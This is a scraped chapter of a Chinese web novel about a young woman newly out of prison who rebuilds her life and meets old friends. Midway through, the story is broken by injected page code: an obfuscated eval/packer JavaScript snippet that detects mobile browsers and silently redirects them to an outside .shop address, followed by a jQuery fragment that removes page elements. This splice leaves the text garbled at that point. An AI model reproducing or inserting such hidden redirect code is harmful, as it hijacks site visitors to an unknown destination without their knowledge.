文趣网 > 都市小说 > 满树盈花安在雨 > 2. 第一章 回归
    满溪春季,昨晚下过毛毛雨,今日已经放晴。

    田野有许多风筝,它们散落在明净的天空中。

    是安静而无声的。

    在满溪市。这里时常弥漫着淡淡的蓝盈花、桂花香。

    很淡雅,却不浓郁。

    有一处监狱靠近墓园,每一次当清明的湿冷时节都会有人前来。

    从监狱出来后,安在雨手中握着一大叠信纸复印件,另一只手摸了摸口袋,还有几张百元。

    这些信件,是一个笔名叫“遇”的人寄来的。

    信中他写道,听及安在雨的事情,心下动容,想着监狱中的生活无聊,便每月寄出一封信件,所写的内容以供她打发闲余时间。

    安在雨现在谈不上是过街老鼠,毕竟坐过牢也没有写在脸上。

    但与外界脱轨几余年光景,时代生生不息发展得很快,她的经历却已停滞。

    沉默之中,她想先回家,找出自己的高中毕业证,凭这个学历当着餐厅的服务员应该可以吧。

    她想想自己中断的大学学业,也没自信做其他的工作。

    监狱距离她所在的住宅大致一个小时,安在雨没有像从前一样任性消费去打车,而是全靠步行。

    破败的小栋别墅,如今杂草丛生,冷清而空荡。

    这么些年,别墅还是没有卖出去吗?

    安在雨不由恍惚一阵。

    从院子的围栏翻了进去。

    她一个不小心弄破了手心,轻轻吹了下伤处,小心翼翼护住信件,没做过多停留,迈向大门。

    “砰”的一声,安在雨一脚踢开了破旧生锈的铁门。

    她走进去,现在家具变得脆脆的,一碰就如纸屑哗哗落地。

    陈设没有任何改变,还有当年警察留下的封条。

    安在雨放好信纸,步子平静地往卧室迈近,从衣柜里拿出一件发霉的外套。此刻是深冬,她连衣服都买不起。

    不过她已经无所谓了。

    正欲穿上时,脑海中突然响起“遇”的鼓励。

    他说:“希望往后你出现的地方,太阳都会温柔明媚。”

    安在雨这才去楼上找,看看有没有尚未发霉的衣物。

    母亲安黛的衣服质量极佳、时髦。即使多年未使用,依旧没有异味,也没有被虫子啃。

    行至客房时,她在这里找到了初高中毕业证。

    然而离开前,安在雨静静地望着照片中曾经,意气风发的少女,情绪崩溃了片刻。

    很多事情真的难以释怀。

    最后她仍旧决心咽下泪水,头也没回得走上大路。

    *

    安在雨在一家西餐店找了一份工作,主要就是招待顾客入座,辅助点餐。

    用餐结束后,擦拭餐桌,收拾餐盘。

    这一天的周末是最忙的日子。

    她面色平静地收拾着餐盘,随即将它们放进推车。

    “你是安在雨?”一个陌生的男人说着,语气神情颇奇怪,“你妈妈不给你钱了?还是让你出来历练?”

    她淡淡地抬眸,平静陈述:“没有,我母亲已经去世很多年了。”

    男人有些眼熟,可能是高中同学。

    男人讪讪捂住嘴,过了良久,他说了句:“那你不是还有一个哥哥?”

    这句话在她的耳畔盘踞很久。

    安在雨愕然,含糊地说道:“我没有哥哥。”

    男人说得轻描淡写:“别以为我不知道,你哥不是叫祝野?你们经常一起上下学不是吗?”

    “别提他!”安在雨声音很大,出乎了男人的意料。

    男人只得暗暗唏嘘,没有再提问。

    这一日的傍晚时分,安在雨回到老住宅,还差些钱就可以在外面租个房。

    只不过,她迟迟没地方洗澡,身上已经有些味道。

    外面还有澡堂吗?

    她一面想着,一面在街道上漫无目的地走。

    然而走着走着,寒风带着些肃杀的意味,吹散了安在雨的发丝。

    在云域的一切,突然就浮上脑海。

    安在雨很不愿想起那些事情……

    很快,她没什么力气了,继而坐在路边好久。

    “女侠!你出来了?”一道清朗的声音倏然响起。

    她抬头,看到了他。如今沈载户竟然穿着一身西装,比以前壮了些,但整体仍是高瘦的。

    那张白皙的脸还是没有变。淡然得纤尘不染。

    安在雨皱了皱眉毛,油然涌上一股自卑感,怕他闻到自己身上的臭味,飞快地往家的方向跑。

    不巧的是,沈载户认出了狼狈的她。

    “你等一下。”他在后面说着,一直追。

    竟像是猫捉老鼠那般,一双眼眸亮亮的。

    安在雨在前方喊着,一口气不喘,道:“你离我一米远,我就同意停下来。”

    他说:“行,就一米。”

    在差不多一米远的地方,她缓缓停下脚步。

    片刻,沈载户也站定。

    他语气温柔:“你终于出狱了?”

    安在雨故作轻松地点了点头。

    沈载户定定地看着她,忽然很轻地笑了,月光很浅,夜色也淡淡的。

    这份笑意,安在雨没看到,甚至他自己也没察觉。

    他不自觉往前走了几步。

    陡然间安在雨提醒:“你不许靠近我!”

    “过来的话,女侠……你打算怎样对我?”他笑说着,一把捉住她的手。

    安在雨往后缩:“放开。”

    他们两个你来我往挣扎半天,安在雨很快占上风,重重推开他到老远的地方。

    “你几天没洗澡了?”他问。

    “你一个男的,力气真小。”安在雨气得脸红,“还有,你有没有听我说话?”

    沈载户低声道:“当然、听了。”

    空气凝滞半天。

    “走,去我家洗个澡。”沈载户神色温吞跑过来。又一次很没礼貌去握住她的小臂。

    即使隔着衣袖,她也能感受到小臂被那修长而苍白的手指一点一点得握紧,几乎是下意识的,安在雨蹙了蹙眉,低声说:“不行。”

    他的手指微微屈起,拇指竟是在摩挲她袖子。

    沈载户挑了挑浅眉:“先别客气,你跟我来就会惊讶的。”

    *

    果然令她大吃一惊,沈载户竟然买下了她家隔壁的那一块住宅。这块住宅原先的主人,安在雨有记忆,而且并不是什么好的回忆。

    “什么时候买的?”她冷声问,侧身站定准备等他开门。

    “前几年。”沈载户把门打开,先一步进去,在厨房倒了杯水。

    安在雨颔首,关上门,四下环顾,陈设家具整洁简单,空气干净似乎比从前还要洁净。

    “跑累的话,喝点温水。”沈载户递去水杯。

    她愣了下:“我不喝热水。”

    这点固执安在雨一直坚持到至今,她本来以为在出狱后会改变。事实却是没有。

    “这是温水,还净化过的。”他慵懒一笑,没给她,紧接着自顾自喝了口,感叹道,“味道和矿泉水一样。”

    说完,他冲她眨眨眼。

    安在雨平淡地看了下,心中一紧,立刻走进厨房。

    然而下一刻,她便觉自己非常欲盖弥彰,于是飞快地倒了杯水,递到自己的唇上,咕噜咕噜喝个干净。

    很甜,是矿泉水的味道。

    听闻这动静,沈载户忍不住笑出声。

    她低声问:“笑什么?”

    沈载户只是指了下一间房:“那间屋子有浴室。”

    她往房间走,忽然说:“给我几件换的衣服啊。”

    ……

    雾气浓浓升起来,安在雨有些恍惚,温热水让她整个人像是复活一般。

    洗完,她坐在床榻上沉寂很久。

    半晌后,耳闻上楼的脚步声,安在雨趁机出来,脚步极轻得偷偷回到破败的家中。

    到家了,她总算松了口气。虽然黑漆漆的,没有水,也没有电,但这是她的家,唯一的家。

    次日清早,安在雨是自然醒的。

    忽然,她听见门口有些动静。于是赶紧出门去看。

    是沈载户。

    又是他。

    换了身黑色羽绒服,看上随意清爽很多,手上提着一个袋子,里面装的是衣物。

    他道:“你母亲去世,不是还有父亲吗,怎么不去找他?”

    安在雨从沙发上站起身:“不用了,本来蹲监狱的影响就不好,何况,算着日子,堂弟应该在读高中吧。”

    “初三。”沈载户眉头皱了一瞬,“确实是一个重要的节点。”

    “别一大早就提以前的事。”安在雨语气冰冷,挑眉继续问,“你呢,不上班?”

    沈载户说:“去,这里没有水电,门还是坏的,你要不出去租个房?”

    安在雨不悦,特想踢门一脚,冷冰冰道:“没钱。”

    说罢,她从门走出去后,嘀咕道:“一会儿要我去找父亲,一会儿要我去租房!”

    “救命之恩。真的就是这个。”沈载户追上来,声音闷闷的,“女侠,我一直都很感激当年你救下我。”

    “举手之劳,游泳本来就是我的强项,救你比捞一条鱼还简单。”

    安在雨对上了他的视线,浅黑的瞳仁显得温柔而沉静。

    她心头只觉阵阵的痛楚蔓延,复低头望向草坪。

    可你不也救过我吗?

    安在雨觉得自己的喉咙像是被撕扯一般。早就扯平了,何必当成可怜她的借口。

    沈载户正欲开口说话。

    她心中强烈的自尊心压过了一切:“我要工作。别说了,也别找我!”

    *

    几月过去……

    有人来酒店举报安在雨说什么她坐过牢。

    下午她就被辞退了。

    后来她只得换了一个保洁的工作。但是相同的事情再度发生了。

    安在雨一头雾水,听着男人噼里啪啦倒出一堆问题。

    男助理说:“就事实来说,为什么要犯伤人罪?还是你的继父?”

    还没等安在雨解释……

    “啊,看你脸蛋有点姿色,莫非?”

    “没有。”

    “算了……不提这个。我们可是正经餐厅啊。诶呦,你在古代,是要在脸上烙字儿的流放的呀!”

    男人偏头:“这么文静的小姑娘,怎么有暴力倾向呢?”

    安在雨:“……”

    “你不想知道是谁说的?”他调戏般地问。

    “……”

    “我猜你想知道。”

    “谁?”她忍不住问。

    “那,你亲我一口,我就告诉你。”他笑眯眯道。

    安在雨作势伸懒腰,手在半空不上不下的位置,然后立刻,露出不阴不阳的笑……

    男助理登时吓破胆,猛地往后跳了一大步,当即重心不稳,紧跟着就是两步踉跄。

    幸而眼疾手快,用手支撑了一下,不然脑袋就要撞上白墙!

    他心有余悸地望了眼墙壁,回过神后,龇牙咧嘴地说:“本来!本来!我还想替你求情,结果你闹这么一出,呵……老子就当见鬼了!我今天!”

    男助理愤怒离去。

    安在雨收回手,叹息一声,把保洁衣物脱下,整齐收拾好,放在已经脏兮兮的桌上。

    一个员工看了眼,语重心长道:“没干几天就受不了?年轻人没学历就要吃苦耐劳些,你肯定是这里干几天,那里干几天吧,不能这样啊,小姑娘。”

    安在雨礼貌地点头。

    哪是她吃不了苦,是吃苦的机会都没有。

    她回到出租屋,由于前一晚独自抹泪到了深。

    第二日,安在雨一觉睡到中午,并不是自然醒的,而是被房东急促的敲门声给吵醒。

    安在雨呆呆地望着尚未打开的大门,莫不是又被人举报了?

    当看见房东与其他人如出一辙的表情时,她心中有了底。

    她说,下个月不再租给她,距离月底还剩五天,安在雨又被辞退了一次,她的性格不允许自己低下气乞求。

    可有一件事很想知道,是谁举报的她?

    房东说那人的口音很奇怪,带着口罩看不清模样,是个一位年迈的人。

    年迈?难道是祝晔诚?他醒过来了?

    安在雨当即冷哼了声,神态瞬间变得阴冷。

    见状,中年女房东想着自己上有老下有小,未敢做停留,屏息立刻离开,还特意将门合上。

    在电梯里。

    她总算可以喘喘气,自言自语嘀咕道:“这个小女孩恐怕身高在一米七五以上,脸长得蛮文静温柔的,怎么就犯下罪呢?果然还是不能以貌取人。”

    第二天。

    安在雨拿上必备的用品,很快搬了出去,回到原先的住宅。

    她走了几步,下意识去看隔壁是否还有人,白天他应该去上班了。

    这么些年,沈载户还开着那家艺术机构吗?

    说到底,安在雨还是个小股东,当时一听沈载户要创业,当即把母亲给她的生活费,打给他一部分,大致有个六七千的样子。

    想着反正没钱就找母亲要,然后就没然后了……

    现在唯一的难题就是找举报她的人。

    安在雨坐地铁,转公交,找到了高新五路的康复医院。

    安在雨在住院部来回如一只幽灵般游荡,漫无目的。

    没看见祝晔诚,但是瞧见了沈载户。

    医院窗外的雨丝渐渐变小,满溪的初春就是这样毫无预兆得下雨,不过多久,又停歇。

    她问:“你来这里做什么?”

    沈载户道:“有点感冒。”

    安在雨退了几步:“那你多注意点。别传染给我。”

    沈载户干笑了好几下。

    忽然,沈载户微微偏头见雨水止息,低声道:“好饿,我去买点吃的。”

    安在雨茫然地冒出一句:“我出门急了,那个、没带多少钱,等我回家之后就还你,行吗?”

    *

    沈载户心中是痛苦的,脸上有一瞬间的错愕,想说的话还是没说出来,最后变成了一句简单:“好”。

    雨后天晴,淡金色阳光清亮,面馆外道路车辆一晃而过。

    安在雨呆滞注视着车水马龙良久。

    沈载户顺着她的目光去看,想要瞧瞧有什么新鲜事。

    “那个。”安在雨磕磕巴巴地说这个词,没有下文。

    “哪个?”他低声问。

    良久没有下文,他笑问:“快说,快说。”

    安在雨抿了抿唇,良久才问:“音乐培训机构还开着吗?”

    沈载户点头,道:“你想来?”

    安在雨皱着眉毛:“会,嫌弃我吗?”

    沈载户望着她低垂的脑袋,心中很不是滋味。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17912874|213202||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    他懂这种感觉。

    彼时,他们第一次见面,沈载户无家可归只能找一个收银的工作,别人一句无心的话语都会激起他心中那脆弱的自尊心。

    他无论如何都不想让安在雨体验和自己一样的为难而又窘迫心情。

    沈载户微微一笑,道:“不会,你想做什么?”

    她低声道:“我又不知道你们缺什么职位。”

    沈载户埋头吃着面,

    过了半分钟后,他才说:“这样吧,你先当一段时间的前台,我叫一位老师教你些乐器,然后去考个证。”

    安在雨一愣:“学乐器不是越小越好。”

    他解释:“你年龄大了,理解能力会更好,学得快,放心。”

    安在雨嗯了声,埋头吃起面条。

    冷不防,沈载户冒出一句没头没尾的话:“没见到祝野,遗憾吗?”

    她道:“……不遗憾。”

    *

    商场大厅中人群涌动,到了三楼,安在雨望着这机构的规模,不忍发愣。

    没想到才短短几年,他居然做得这么好。

    她迟迟未出现的自卑感,在此刻骤然浮现。

    适才面馆中,安在雨无意识说出的那句话,其实并不是怕沈载户嫌弃她。

    而是家长和孩子。

    现在一看,他现在已经是常穿西装的老板,可她只是连大学都未读满,就坐牢的人。

    陡然间,她眼眶变得酸涩难忍。

    沈载户忽然说:“走,带你转转。”

    安在雨问:“有水吗,我有点渴。”

    沈载户立刻去找矿泉水。

    安在雨飞速错开视线,四处打量。

    其实周围的陈设她一点没看明白,甚至看不清,可是她仍旧在环视,一刻不停。

    “……呃。”文文老师笑吟吟道,“小沈?是带着你对象来看啊……”

    “不是,是我朋友。”沈载户瞧她莫名其妙看来看去,继而用瓶身轻轻地敲了敲她的后背。

    文文颔首:“对了,有一个女的,说是你的女友,她等你了许久,一直不见你的人这才离开,也就走了一个小时。”

    *

    下午,她熟悉了这家机构的每一处后,大部分音乐老师都已经下班。

    后面传来沈载户的声音:“你有手机吗?”

    她回过身说:“用得先前的,还没坏。”

    “能联络吧。”他问。

    “当然。”

    “那你先回家,每天早上八点半之前就行了。”

    他继续问,“还有什么疑问吗?”

    “……”安在雨欲言又止。

    他没过多停留:“那我先去收拾一下教室。”

    她吸了口气,后问:“谁教我,乐器?”

    “文文,她有事的话,我来教。”他回答之后,遂离开。

    深夜。

    安在雨在黑漆漆的住宅里站立很久。

    以前水电都是母亲交,结果今日,她去了一趟社区,补齐之前的欠费,再预留些水量就已经超出了,她仅剩200元。

    至于人有三急这个情况,她都是去附近的公厕。

    当晚,安在雨独自一人去公厕,回来的时候,习惯性地瞥了一眼隔壁住宅。

    没成想,明亮的灯光下映出两个人……

    是余鸣迢,她这个坏蛋也敢回国?

    不久,里面传出激烈的争吵声,有一人被赶出来,安在雨下意识跑得远远的。

    可被赶出来的竟然是沈载户?

    漆黑的夜色中,看不清他面上的表情,安在雨使劲去望。

    十几秒后,两只眼珠实在酸涩,于是揉了揉眼,再度探着身子想看清。

    沈载户手中握着一瓶扁长的玻璃杯,透过淡淡的月光反照,隐约能见着里面有水。

    她有一种希望沈载户早些离开,又不希望他离开的感觉。

    她很好奇,余鸣迢为何会回到这里?她会出来吗?

    隔了许久,他在一处草坪里坐下来,喝起水,眼瞅着余鸣迢应该是不会再出来。

    安在雨弯着身子,迈着轻轻的步伐,离开幽深的灌木丛。

    “谁?”沈载户声音颤抖。

    “……”

    这就怕了?胆子真小。她想。

    “是我。”

    沈载户沿声望去,措不及防对上她黑白分明的眼眸。

    他舒了口气,问道:“这么晚,出来做什么?”

    安在雨哼笑道:“多管闲事。”

    他开始喝起水:“……”

    陡然间,气氛变得尴尬。

    沈载户一连喝了好几口

    “你前女友真是,余鸣迢那个坏蛋啊?”

    她走上前,坐在旁边,定睛一看那标签,那瓶不是水,是酒。

    沈载户懒洋洋地望着她:“不是。”

    “你们在一起过?”

    沈载户缓慢摇头。

    安在雨唇角抽动了下:“你们为什么分手?”

    沈载户说着,醉意深沉:“没谈过,怎么分手?”

    “不行吗?”

    “什么不行?”他反问。

    “你喜欢她吗?”

    沈载户微眯眼,莫名其妙地望着她……

    “我不喜欢。”他眨眨眼,很慢的频率,“不过,你问我这个做什么?”

    安在雨问:“那个房子是谁卖给你的?”

    沈载户摇头:“是她的父亲。”

    “你不回家?”

    “不回。”

    “找个酒店暂住一段时间。”

    安在雨站起来,冷不叮一只手立刻附上她的手背,紧扣住,她一头雾水地回身。

    “搭把手。”

    他说着,不久漾出了微笑。

    那清俊的面容被醉意与倦意晕染,有种岁月静好的感觉。

    “行”

    刹那间,沈载户便被一股力强行拉起来,紧接着,她的声音响起:“去哪儿?”

    他唇角动了动,醉眼模糊地将她望一番,语气暧昧:“力气真大,女侠,你可要好好保护我哦。”

    “真不要脸。”她无语地说。

    他们前脚刚到酒店,后脚淅淅沥沥地雨水边落了下来,雨点还颇大。

    安在雨将他带到一家酒店,扔到床上。

    她遂坐在床边问道:“你现在喝醉了,应该不会发现我打劫吧。”

    “打劫?”他激动了些,两侧脸颊粉红,张开双臂后轻浮道,“好啊,我喜欢被打劫。”

    她哈哈笑了:“借你点钱,我买件衣物。”

    沈载户吁了口气:“……哦。”

    他在口袋里上下、左右细细搜索一阵子,

    见状,安在雨撑不住又开始偷笑,过了一会儿,他掏出几张纸币。

    从超市出来时,雨水渐渐弱下,安在雨一掌推开了超市大门。

    倏忽间,她看见一个,一辈子都不想见到的人。

    祝野。

    “安在雨?”由近及远,他的声音穿过路灯下银线般的雨水。

    她浑身倏然一颤,这声音……

    低沉的嗓音总会在耳间萦绕,躲不掉,也无处可逃。

    如果不是为了寻找母亲的下落,安在雨怎么会求他!

    她飞速逃走。

    *

    “在雨。”祝野音量很小,没有叫她妹妹,未叫她的全名,是一个最熟稔,眷恋的叫法,“抱歉……”